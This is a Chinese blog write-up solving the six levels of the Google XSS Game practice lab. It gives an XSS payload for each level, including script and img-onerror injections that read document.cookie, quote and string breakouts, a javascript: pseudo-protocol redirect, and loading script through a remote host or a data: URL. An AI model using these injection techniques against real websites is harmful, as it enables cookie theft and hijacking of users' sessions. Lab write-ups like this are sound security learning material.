Google·XSS学习记录
level one
没有花里胡哨
<script>alert(document.cookie)</script>
level two
script标签不起作用,要尝试其他的js标签
<img onerror="alert(document.cookie)" src=""></img>
level three
找到输出点
可以看到src
由获取url
中的num
拼接得到,所以尝试用单引号截断
成功截断,因为图片是加载出现错误,所以联想到上一关的onerror
,进行尝试
' onerror='alert(1)'>
通过单引号截断后,拼接onerror函数,闭合标签,过关
level four
到这里大概已经摸清楚思路了,首先先找出页面上的输出点
可以看到这里startTimer
获取输入框输入的时间,那再往下找找具体是怎么执行的
可以看到通过拼接一个'{{timer}}'
来执行函数,那就尝试闭合这个执行的函数执行我们想执行的代码
');alert(1);//
通过单引号闭合内部,再通过括号闭合函数,然后分号隔开,执行接下来的alert
,分号结束,最后注释符//
注释掉后面的代码
level five
hint 1 提示我们这关的标题就是提示之一
Breaking protocol
这里可以了解到通过JavaScript伪协议
来进行xss攻击
javascript伪协议:
就是使用a标签的href属性来运行javascript的方法,当被解析时不会进行跳转,而是执行JavaScript脚本callback
通过查看代码可以看到signup.html
中含有伪协议应用的部分
可以理解这里的作用原本是用来重定向页面,但却会被利用进行XSS攻击,由于是通过next
来获取跳转,所以尝试JavaScript脚本构造payload
next=javascript:alert(1);
level six
这题刚拿到的时候有点无从下手,通过任务目标可以推断是要通过某种方法来加载脚本完成攻击,那么观察url和网页内容可以发现
首先获取url
中传入的值,在一开始可以知道传入的url
不能含有http
和hpps
,那就尝试修改网址后的内容
结合网页代码大概已经理解这里的外部文件是如何引用的了,那现在就有两个思路来进行攻击
引用外部服务器JS文件
构建JS文件
alert(1);
上传至vps或在本地Tomcat根目录下
确认生效可以访问
则构造payload
#HTTP:127.0.0.1:8080/1.js
通过data协议嵌入script脚本
首先了解一下什么是data协议
data格式的Url最直接的好处是,这些Url原本会引起一个新的网络访问,因为那里是一个网页的地址,现在不会有新的网络访问了,因为现在这里是网页的内容。这样做,会减少服务器的负载,当然同时也增加了当前网页的大小。所以对“小”数据特别有好处。
既然是Url,当然也可以直接在浏览器的地址栏中输入。
data:text/html,<html><body><p><b>Hello, world!</b></p></body></html>
在浏览器中输入以上的Url,会得到一个加粗的"Hello, world!"。也就是说,data:后面的数据直接用做网页的内容,而不是网页的地址。
data:text/plain;charset=UTF-8;base64,5L2g5aW977yM5Lit5paH77yB
这个例子会显示出"你好,中文!"。如果吧charset部分去掉,就会显示乱码,因为我用的是UTF-8编码。
简单的说,data类型的Url大致有下面几种形式。
data:,<文本数据> data:text/plain,<文本数据> data:text/html,<html代码> data:text/html;base64,<base64编码的html代码> data:text/css,<css代码> data:text/css;base64,<base64编码的css代码> data:text/javascript,<javascript代码> data:text/javascript;base64,<base64编码的javascript代码> data:image/gif;base64,base64编码的gif图片数据 data:image/png;base64,base64编码的png图片数据 data:image/jpeg;base64,base64编码的jpeg图片数据 data:image/x-icon;base64,base64编码的icon图片数据
具体可参考规范说明
那么我们就可以利用data:text/javascript
来加载我们需要的alert
脚本
构造payload
#data:text/javascript,alert(1)
四个小时成功通关,完结撒花
本文作者:Losir 本文链接:Google·XSS·Game记录 - https://ionssource.cn/archives/45/ 版权声明:如无特别声明,本文即为原创文章,仅代表个人观点,版权归 Losir 所有,未经允许不得转载!